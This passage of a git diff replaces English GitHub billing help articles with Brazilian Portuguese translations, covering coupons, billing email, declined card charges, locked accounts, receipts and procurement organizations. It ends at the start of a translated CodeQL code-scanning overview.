+5. No canto superior direito, clique em **Switch to monthly billing** (Alternar para cobrança mensal) ou **Switch to yearly billing** (Alternar para cobrança anual). ![Seção de informações de cobrança](/assets/images/help/billing/settings_billing_organization_plans_switch_to_yearly.png)
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/index.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/index.md
index c8d94f174f..f48a69a776 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/index.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing your GitHub billing settings
-shortTitle: Billing settings
-intro: 'Your account''s billing settings apply to every paid feature or product you add to the account. You can manage settings like your payment method, billing cycle, and billing email. You can also view billing information such as your subscription, billing date, payment history, and past receipts.'
+title: Gerenciar as configurações de cobrança do GitHub
+shortTitle: Configurações de faturamento
+intro: 'As configurações de cobrança de sua conta se aplicam à todos os recursos pagos ou produtos que você adiciona à conta. É possível gerenciar configurações como forma de pagamento, ciclo de cobrança e e-mail de cobrança. Você também pode visualizar informações de cobrança, como sua assinatura, data de cobrança, histórico de pagamento e recibos anteriores.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings
   - /articles/viewing-and-managing-your-personal-account-s-billing-information
@@ -25,6 +25,5 @@ children:
   - /redeeming-a-coupon
   - /troubleshooting-a-declined-credit-card-charge
   - /unlocking-a-locked-account
-  - /removing-a-payment-method
 ---
 
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
index 2a416cdc8f..a86be3dddc 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
@@ -1,6 +1,6 @@
 ---
-title: Redeeming a coupon
-intro: 'If you have a coupon, you can redeem it towards a paid {% data variables.product.prodname_dotcom %} subscription.'
+title: Resgatar um cupom
+intro: 'Se você tiver um cupom, poderá resgatá-lo em uma assinatura {% data variables.product.prodname_dotcom %} paga.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/redeeming-a-coupon
   - /articles/where-do-i-add-a-coupon-code
@@ -18,24 +18,23 @@ topics:
   - Organizations
   - User account
 ---
-{% data variables.product.product_name %} can't issue a refund if you pay for an account before applying a coupon. We also can't transfer a redeemed coupon or give you a new coupon if you apply it to the wrong account. Confirm that you're applying the coupon to the correct account before you redeem a coupon.
+
+O {% data variables.product.product_name %} não poderá efetuar um reembolso se uma conta for paga antes da aplicação de um cupom. Também não poderemos transferir um cupom resgatado ou fornecer um novo cupom se você aplicar o cupom na conta errada. Verifique se você está aplicando o cupom na conta correta antes de resgatá-lo.
 
 {% data reusables.dotcom_billing.coupon-expires %}
 
-You cannot apply coupons to paid plans for {% data variables.product.prodname_marketplace %} apps.
+Não é possível aplicar cupons em planos pagos para apps {% data variables.product.prodname_marketplace %}.
 
-## Redeeming a coupon for your personal account
+## Resgatar um cupom na conta pessoal
 
 {% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %}
-4. Under "Redeem your coupon", click **Choose** next to your *personal* account's username.
-   ![Choose button](/assets/images/help/settings/redeem-coupon-choose-button-for-personal-accounts.png)
+4. Em "Redeem your coupon" (Resgatar um cupom), clique em **Choose** (Escolher) ao lado do nome de usuário da sua conta *pessoal*. ![Botão Choose (Escolher)](/assets/images/help/settings/redeem-coupon-choose-button-for-personal-accounts.png)
 {% data reusables.dotcom_billing.redeem_coupon %}
 
-## Redeeming a coupon for your organization
+## Resgatar um cupom na organização
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %}
-4. Under "Redeem your coupon", click **Choose** next to the *organization* you want to apply the coupon to. If you'd like to apply your coupon to a new organization that doesn't exist yet, click **Create a new organization**.
-   ![Choose button](/assets/images/help/settings/redeem-coupon-choose-button.png)
+4. Em "Redeem your coupon" (Resgatar um cupom), clique em **Choose** (Escolher) ao lado da *organização* na qual deseja aplicar o cupom. Se quiser aplicar o cupom em uma organização que ainda não existe, clique em **Create a new organization** (Criar organização). ![Botão Choose (Escolher)](/assets/images/help/settings/redeem-coupon-choose-button.png)
 {% data reusables.dotcom_billing.redeem_coupon %}
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
deleted file mode 100644
index 8e7fe2ed0b..0000000000
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Removing a payment method
-intro: 'If you aren''t using your payment method for any paid subscriptions on {% data variables.product.prodname_dotcom %}, you can remove the payment method so it''s no longer stored in your account.'
-redirect_from:
-  - /github/setting-up-and-managing-billing-and-payments-on-github/removing-a-payment-method
-  - /articles/removing-a-credit-card-associated-with-your-user-account
-  - /articles/removing-a-payment-method-associated-with-your-user-account
-  - /articles/removing-a-credit-card-associated-with-your-organization
-  - /articles/removing-a-payment-method-associated-with-your-organization
-  - /articles/removing-a-payment-method
-  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/removing-a-payment-method
-versions:
-  fpt: '*'
-  ghec: '*'
-type: how_to
-topics:
-  - Organizations
-  - User account
----
-If you're paying for your {% data variables.product.product_name %} subscription with a coupon, and you aren't using your payment method for any [other paid features or products](/articles/about-billing-on-github) on {% data variables.product.product_name %}, you can remove your credit card or PayPal information.
-
-{% data reusables.dotcom_billing.coupon-expires %}
-
-{% tip %}
-
-**Tip:** If you [downgrade your account to a free product](/articles/downgrading-your-github-subscription) and you don't have subscriptions for any other paid features or products, we'll automatically remove your payment information.
-
-{% endtip %}
-
-## Removing your personal account's payment method
-
-{% data reusables.user_settings.access_settings %}
-{% data reusables.user_settings.billing_plans %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
-
-## Removing your organization's payment method
-
-{% data reusables.dotcom_billing.org-billing-perms %}
-
-{% data reusables.organizations.billing-settings %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
index 66805ec15f..2d8362e678 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your billing email
-intro: 'Your account''s billing email is where {% data variables.product.product_name %} sends receipts and other billing-related communication.'
+title: Definir seu e-mail de cobrança
+intro: 'O e-mail de cobrança da conta é o endereço para o qual o {% data variables.product.product_name %} envia recibos e outras comunicações relacionadas a cobranças.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/setting-your-billing-email
   - /articles/setting-your-personal-account-s-billing-email
@@ -16,58 +16,51 @@ type: how_to
 topics:
   - Organizations
   - User account
-shortTitle: Billing email
+shortTitle: E-mail de cobrança
 ---
-## Setting your personal account's billing email
 
-Your personal account's primary email is where {% data variables.product.product_name %} sends receipts and other billing-related communication.
+## Configurar o e-mail de cobrança da conta pessoal
 
-Your primary email address is the first email listed in your account email settings.
-We also use your primary email address as our billing email address.
+O e-mail principal da conta pessoal é o endereço para o qual o {% data variables.product.product_name %} envia recibos e outras comunicações relacionadas a cobranças.
 
-If you'd like to change your billing email, see "[Changing your primary email address](/articles/changing-your-primary-email-address)."
+O endereço de e-mail principal é o primeiro e-mail relacionado nas configurações de e-mail da conta. O endereço de e-mail principal também é usado como endereço de e-mail de cobrança.
 
-## Setting your organization's billing email
+Se quiser alterar o e-mail de cobrança, consulte "[Alterar endereço de e-mail principal](/articles/changing-your-primary-email-address)".
 
-Your organization's billing email is where {% data variables.product.product_name %} sends receipts and other billing-related communication. The email address does not need to be unique to the organization account.
+## Configurar o e-mail de cobrança da organização
+
+O e-mail de cobrança da organização é o endereço para o qual o {% data variables.product.product_name %} envia recibos e outras comunicações relacionadas a cobranças. O endereço de e-mail não precisa ser exclusivo para a conta da organização.
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Billing management", to the right of the billing email address, click **Edit**.
-  ![Current billing emails](/assets/images/help/billing/billing-change-email.png)
-2. Type a valid email address, then click **Update**.
-  ![Change billing email address modal](/assets/images/help/billing/billing-change-email-modal.png)
+1. Em "Gerenciamento de cobrança", à direita do endereço de e-mail de cobrança, clique em **Editar**. ![E-mails de cobrança atual](/assets/images/help/billing/billing-change-email.png)
+2. Insira um endereço de e-mail válido e clique **Atualizar**. ![Altere modal do endereço de e-mail de cobrança](/assets/images/help/billing/billing-change-email-modal.png)
 
-## Managing additional recipients for your organization's billing email
+## Gerenciar destinatários adicionais para o e-mail de cobrança da sua organização
 
-If you have users that want to receive billing reports, you can add their email addresses as billing email recipients. This feature is only available to organizations that are not managed by an enterprise.
+Se você tiver usuários que desejem receber relatórios de cobrança, você poderá adicionar seus endereços de e-mail como destinatários de e-mail de cobrança. Esse recurso está disponível apenas para organizações que não são gerenciadas por uma empresa.
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-### Adding a recipient for billing notifications
+### Adicionar um destinatário para notificações de cobrança
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Billing management", to the right of "Email recipients", click **Add**.
-  ![Add recipient](/assets/images/help/billing/billing-add-email-recipient.png)
-1. Type the email address of the recipient, then click **Add**.
-  ![Add recipient modal](/assets/images/help/billing/billing-add-email-recipient-modal.png)
+1. Em gerenciamento de cobrança, à direita "destinatários de e-mail", clique em **Adicionar**. ![Adicionar destinatário](/assets/images/help/billing/billing-add-email-recipient.png)
+1. Digite o endereço de e-mail do destinatário e, em seguida, clique em **Adicionar**. ![Adicionar modal de destinatário](/assets/images/help/billing/billing-add-email-recipient-modal.png)
 
-### Changing the primary recipient for billing notifications
+### Alterar o destinatário primário para notificações de cobrança
 
-One address must always be designated as the primary recipient. The address with this designation can't be removed until a new primary recipient is selected.
+Deve-se sempre designar um endereço como o destinatário principal. O endereço com esta designação não pode ser removido até que um novo destinatário principal seja selecionado.
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Billing management", find the email address you want to set as the primary recipient.
-1. To the right of the email address, use the "Edit" drop-down menu, and click **Mark as primary**.
-  ![Mark primary recipient](/assets/images/help/billing/billing-change-primary-email-recipient.png)
+1. Em "Gestão de cobrança", encontre o endereço de e-mail que deseja definir como principal destinatário.
+1. À direita do endereço de e-mail, use o menu suspenso "Editar" e, em seguida, clique em **Marcar como primário**. ![Marque o destinatário primário](/assets/images/help/billing/billing-change-primary-email-recipient.png)
 
-### Removing a recipient from billing notifications
+### Remover um destinatário das notificações de cobrança
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Email recipients", find the email address you want to remove.
-1. For the user's entry in the list, click **Edit**.
-  ![Edit recipient](/assets/images/help/billing/billing-edit-email-recipient.png)
-1. To the right of the email address, use the "Edit" drop-down menu, and click **Remove**.
-  ![Remove recipient](/assets/images/help/billing/billing-remove-email-recipient.png)
-1. Review the confirmation prompt, then click **Remove**.
+1. Em "Destinatários de e-mail", encontre o endereço de e-mail que deseja remover.
+1. Para inserir o usuário na lista, clique em **Editar**. ![Editar destinatário](/assets/images/help/billing/billing-edit-email-recipient.png)
+1. À direita do endereço de e-mail, use o menu suspenso "Editar" e clique em **Remover**. ![Remover destinatário](/assets/images/help/billing/billing-remove-email-recipient.png)
+1. Revise a instrução de confirmação e clique em **Remover**.
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
index efa7701ca9..df398d0198 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting a declined credit card charge
-intro: 'If the credit card you use to pay for {% data variables.product.product_name %} is declined, you can take several steps to ensure that your payments go through and that you are not locked out of your account.'
+title: Solucionar problemas de cobrança no cartão de crédito recusada
+intro: 'Se o cartão de crédito que você usa para pagar o {% data variables.product.product_name %} for recusado, você poderá tomar várias medidas para garantir que os pagamentos sejam efetuados e que sua conta não seja bloqueada.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/troubleshooting-a-declined-credit-card-charge
   - /articles/what-do-i-do-if-my-card-is-declined
@@ -12,26 +12,27 @@ versions:
 type: how_to
 topics:
   - Troubleshooting
-shortTitle: Declined credit card charge
+shortTitle: Cobrança de cartão de crédito recusada
 ---
-If your card is declined, we'll send you an email about why the payment was declined. You'll have a few days to resolve the problem before we try charging you again.
 
-## Check your card's expiration date
+Se o seu cartão for recusado, nós enviaremos um e-mail para você informando o motivo da recusa do pagamento. Você terá alguns dias para resolver o problema antes que tentemos fazer a cobrança novamente.
 
-If your card has expired, you'll need to update your account's payment information. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+## Verificar a data de expiração do cartão
 
-## Verify your bank's policy on card restrictions
+Se o seu cartão tiver expirado, você precisará atualizar as informações de pagamento da sua conta. Para obter mais informações, consulte "[Adicionar ou editar forma de pagamento](/articles/adding-or-editing-a-payment-method)".
 
-Some international banks place restrictions on international, e-commerce, and automatically recurring transactions. If you're having trouble making a payment with your international credit card, call your bank to see if there are any restrictions on your card.
+## Verificar a política do banco sobre restrições no cartão
 
-We also support payments through PayPal. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+Alguns bancos internacionais impõem restrições em transações internacionais, de comércio eletrônico ou automaticamente recorrentes. Se você estiver tendo problemas para fazer um pagamento com seu cartão de crédito internacional, ligue para o banco e confira se há alguma restrição no cartão.
 
-## Contact your bank for details about the transaction
+Também aceitamos pagamentos via PayPal. Para obter mais informações, consulte "[Adicionar ou editar forma de pagamento](/articles/adding-or-editing-a-payment-method)".
 
-Your bank can provide additional information about declined payments if you specifically ask about the attempted transaction. If there are restrictions on your card and you need to call your bank, provide this information to your bank:
+## Entrar em contato com o banco para ver detalhes da transação
 
-- **The amount you're being charged.** The amount for your subscription appears on your account's receipts. For more information, see "[Viewing your payment history and receipts](/articles/viewing-your-payment-history-and-receipts)."
-- **The date when {% data variables.product.product_name %} bills you.** Your account's billing date appears on your receipts.
-- **The transaction ID number.** Your account's transaction ID appears on your receipts.
-- **The merchant name.** The merchant name is {% data variables.product.prodname_dotcom %}.
-- **The error message your bank sent with the declined charge.** You can find your bank's error message on the email we send you when a charge is declined.
+O banco poderá fornecer informações adicionais sobre pagamentos recusados se você perguntar especificamente sobre a tentativa de transação. Caso haja restrições no seu cartão e você precise ligar para o banco, forneça as seguintes informações:
+
+- **O valor que está sendo cobrado**. É o valor cobrado pela assinatura que aparece nos recibos da conta. Para obter mais informações, consulte "[Visualizar o histórico de pagamentos e os recibos](/articles/viewing-your-payment-history-and-receipts)".
+- **A data em que o {% data variables.product.product_name %} fez a cobrança.** A data de cobrança na sua conta aparece nos recibos.
+- **O número de ID da transação**. O número de ID da transação aparece nos recibos.
+- **O nome do lojista**. O nome do lojista é {% data variables.product.prodname_dotcom %}.
+- **A mensagem de erro que seu banco enviou com a cobrança recusada**. Você pode encontrar a mensagem de erro do seu banco no e-mail que enviamos a você quando uma cobrança é recusada.
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
index b59da1c080..1881de75ca 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
@@ -1,6 +1,6 @@
 ---
-title: Unlocking a locked account
-intro: Your organization's paid features are locked if your payment is past due because of billing problems.
+title: Desbloquear uma conta bloqueada
+intro: Os recursos pagos da sua organização estão bloqueados se o seu pagamento estiver atrasado devido a problemas de cobrança.
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/unlocking-a-locked-account
   - /articles/what-happens-if-my-account-is-locked
@@ -20,14 +20,15 @@ topics:
   - Downgrades
   - Organizations
   - User account
-shortTitle: Locked account
+shortTitle: Conta bloqueada
 ---
-You can unlock and access your account by updating your organization's payment method and resuming paid status. We do not ask you to pay for the time elapsed in locked mode.
 
-You can downgrade your organization to {% data variables.product.prodname_free_team %} to continue with the same advanced features in public repositories. For more information, see "[Downgrading your {% data variables.product.product_name %} subscription](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)."
+Você pode desbloquear e acessar sua conta atualizando a forma de pagamento da sua organização e retomando o status de pago. sem precisar pagar pelo tempo decorrido no modo bloqueado.
 
-## Unlocking an organization's features due to a declined payment
+Você pode fazer o downgrade da sua organização para o {% data variables.product.prodname_free_team %} para continuar com os mesmos recursos avançados em repositórios públicos. Para obter mais informações, consulte "[Rebaixando sua assinatura {% data variables.product.product_name %}](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)."
 
-If your organization's advanced features are locked due to a declined payment, you'll need to update your billing information to trigger a newly authorized charge. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+## Desbloqueando recursos da organização devido a pagamento recusado
 
-If the new billing information is approved, we will immediately charge you for the paid product you chose. The organization will automatically unlock when a successful payment has been made.
+Se os recursos avançados de sua organização foram bloqueados devido a pagamento recusado, você precisará atualizar as informações de cobrança para que uma nova cobrança seja autorizada. Para obter mais informações, consulte "[Adicionar ou editar forma de pagamento](/articles/adding-or-editing-a-payment-method)".
+
+Se as novas informações de cobrança forem aprovadas, cobraremos imediatamente pelo produto pago que você escolheu. A organização será desbloqueada assim que o pagamento for confirmado.
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
index c643ca0c2c..51a98817df 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your payment history and receipts
-intro: You can view your account's payment history and download past receipts at any time.
+title: Exibir histórico de pagamento e recibos
+intro: Você pode exibir o histórico de pagamentos da sua conta e baixar recibos anteriores a qualquer momento.
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-payment-history-and-receipts
   - /articles/downloading-receipts
@@ -17,16 +17,17 @@ topics:
   - Organizations
   - Receipts
   - User account
-shortTitle: View history & receipts
+shortTitle: Visualizar histórico & recibos
 ---
-## Viewing receipts for your personal account
+
+## Exibir recibos da sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.view-payment-history %}
 {% data reusables.dotcom_billing.download_receipt %}
 
-## Viewing receipts for your organization
+## Exibir recibos da sua organização
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
index b62ebd0208..bf7b3ce18d 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your subscriptions and billing date
-intro: 'You can view your account''s subscription, your other paid features and products, and your next billing date in your account''s billing settings.'
+title: Exibir assinaturas e data de cobrança
+intro: 'Nas configurações de cobrança da sua conta, você pode exibir a assinatura da conta, outros produtos e recursos pagos e a próxima data de cobrança.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-subscriptions-and-billing-date
@@ -17,21 +17,22 @@ topics:
   - Accounts
   - Organizations
   - User account
-shortTitle: Subscriptions & billing date
+shortTitle: Assinaturas & data de cobrança
 ---
-## Finding your personal account's next billing date
+
+## Localizar a próxima data de cobrança da sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.next_billing_date %}
 
-## Finding your organization's next billing date
+## Localizar a próxima data de cobrança da sua organização
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.next_billing_date %}
 
-## Further reading
+## Leia mais
 
-- "[About billing for {% data variables.product.prodname_dotcom %} accounts](/articles/about-billing-for-github-accounts)"
+- "[Sobre a cobrança das contas do {% data variables.product.prodname_dotcom %}](/articles/about-billing-for-github-accounts)"
diff --git a/translations/pt-BR/content/billing/managing-your-license-for-github-enterprise/index.md b/translations/pt-BR/content/billing/managing-your-license-for-github-enterprise/index.md
index 9f270733c2..c2c2207f2c 100644
--- a/translations/pt-BR/content/billing/managing-your-license-for-github-enterprise/index.md
+++ b/translations/pt-BR/content/billing/managing-your-license-for-github-enterprise/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing your license for GitHub Enterprise
-shortTitle: GitHub Enterprise license
-intro: '{% data variables.product.prodname_enterprise %} includes both cloud and self-hosted deployment options. If you host a {% data variables.product.prodname_ghe_server %} instance, you must unlock the instance with a license file. You can view, manage, and update the license file.'
+title: Gerenciando a sua licença para o GitHub Enterprise
+shortTitle: Licença do GitHub Enterprise
+intro: '{% data variables.product.prodname_enterprise %} inclui opções de implantação auto-hospedadas. Se você hospedar uma instância de {% data variables.product.prodname_ghe_server %}, você deverá desbloquear a instância com um arquivo de licença. Você pode visualizar, gerenciar e atualizar o arquivo de licença.'
 redirect_from:
   - /free-pro-team@latest/billing/managing-your-license-for-github-enterprise
   - /enterprise/admin/installation/managing-your-github-enterprise-license
diff --git a/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md b/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
index b74ec44276..26d9fa94fd 100644
--- a/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
+++ b/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
@@ -1,6 +1,6 @@
 ---
-title: About organizations for procurement companies
-intro: 'Businesses use organizations to collaborate on shared projects with multiple owners and administrators. You can create an organization for your client, make a payment on their behalf, then pass ownership of the organization to your client.'
+title: Sobre organizações para empresas de compras
+intro: 'As empresas usam organizações para colaborar em projetos compartilhados com vários proprietários e administradores. Você pode criar uma organização para seu cliente, fazer um pagamento no nome dele e, por fim, passar a propriedade da organização ao cliente.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/about-organizations-for-procurement-companies
   - /articles/about-organizations-for-resellers
@@ -12,27 +12,28 @@ versions:
 type: overview
 topics:
   - Organizations
-shortTitle: About organizations
+shortTitle: Sobre organizações
 ---
-To access an organization, each member must sign into their own personal user account.
 
-Organization members can have different roles, such as *owner* or *billing manager*:
+Para acessar uma organização, cada integrante deve entrar na própria conta de usuário pessoal.
 
-- **Owners** have complete administrative access to an organization and its contents.
-- **Billing managers** can manage billing settings, and cannot access organization contents. Billing managers are not shown in the list of organization members.
+Os integrantes da organização podem ter diferentes funções, como *proprietário* ou *gerente de cobrança*:
 
-## Payments and pricing for organizations
+- **Proprietários** têm acesso administrativo completo a uma organização e seu conteúdo.
+- **Gerentes de cobrança** podem gerenciar configurações de cobrança e não podem acessar o conteúdo da organização. Os gerentes de cobrança não são mostrados na lista de integrantes da organização.
 
-We don't provide quotes for organization pricing. You can see our published pricing for [organizations](https://github.com/pricing) and [Git Large File Storage](/articles/about-storage-and-bandwidth-usage/). We do not provide discounts for procurement companies or for renewal orders.
+## Pagamentos e preços para organizações
 
-We accept payment in US dollars, although end users may be located anywhere in the world.
+Não fornecemos cotações de preços para organização. É possível ver nossos preços publicados para [organizações](https://github.com/pricing) e [Git Large File Storage](/articles/about-storage-and-bandwidth-usage/). Não fornecemos descontos para empresas de compras nem para pedidos de renovação.
 
-We accept payment by credit card and PayPal. We don't accept payment by purchase order or invoice.
+Aceitamos pagamento em dólares americanos, embora os usuários finais possam estar localizados em qualquer lugar do mundo.
 
-For easier and more efficient purchasing, we recommend that procurement companies set up yearly billing for their clients' organizations.
+Aceitamos pagamento por cartão de crédito e PayPal. Não aceitamos pagamento por ordem de compra ou fatura.
 
-## Further reading
+Para mais facilidade e eficiência de compra, é recomendável que as empresas de compras definam anualmente a cobrança para as organizações de seus clientes.
 
-- "[Creating and paying for an organization on behalf of a client](/articles/creating-and-paying-for-an-organization-on-behalf-of-a-client)"
-- "[Upgrading or downgrading your client's paid organization](/articles/upgrading-or-downgrading-your-client-s-paid-organization)"
-- "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)"
+## Leia mais
+
+- "[Criar e pagar para uma organização em nome de um cliente](/articles/creating-and-paying-for-an-organization-on-behalf-of-a-client)"
+- "[Atualizar ou fazer downgrade da organização paga do cliente](/articles/upgrading-or-downgrading-your-client-s-paid-organization)"
+- "[Renovar a organização paga do cliente](/articles/renewing-your-client-s-paid-organization)"
diff --git a/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md b/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
index 0b9fc6ffef..1e1208811f 100644
--- a/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
+++ b/translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up paid organizations for procurement companies
-shortTitle: Paid organizations for procurement companies
-intro: 'If you pay for {% data variables.product.product_name %} on behalf of a client, you can configure their organization and payment settings to optimize convenience and security.'
+title: Configurar organizações pagas para empresas de compras
+shortTitle: Organizações pagas para empresas de compras
+intro: 'Se você pagar o {% data variables.product.product_name %} em nome de um cliente, poderá definir as configurações da organização e do pagamento para otimizar a conveniência e a segurança.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies
   - /articles/setting-up-and-paying-for-organizations-for-resellers
diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md
index fb05626d65..3db8e3f7f2 100644
--- a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md
+++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md
@@ -1,7 +1,7 @@
 ---
-title: About code scanning with CodeQL
-shortTitle: Code scanning with CodeQL
-intro: 'You can use {% data variables.product.prodname_codeql %} to identify vulnerabilities and errors in your code. The results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.prodname_dotcom %}.'
+title: Sobre a digitalização de código com CodeQL
+shortTitle: Digitalização de código com CodeQL
+intro: 'Você pode usar {% data variables.product.prodname_codeql %} para identificar vulnerabilidades e erros no seu código. Os resultados são exibidos como alertas de {% data variables.product.prodname_code_scanning %} em {% data variables.product.prodname_dotcom %}.'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql
@@ -20,43 +20,43 @@ topics:
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning %}
 
-## About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}
+## Sobre {% data variables.product.prodname_code_scanning %} com {% data variables.product.prodname_codeql %}
 
 {% data reusables.code-scanning.about-codeql-analysis %}
 
-There are two main ways to use {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %}:
+Existem duas maneiras principais de usar {% data variables.product.prodname_codeql %} análise para {% data variables.product.prodname_code_scanning %}:
 
-- Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)."
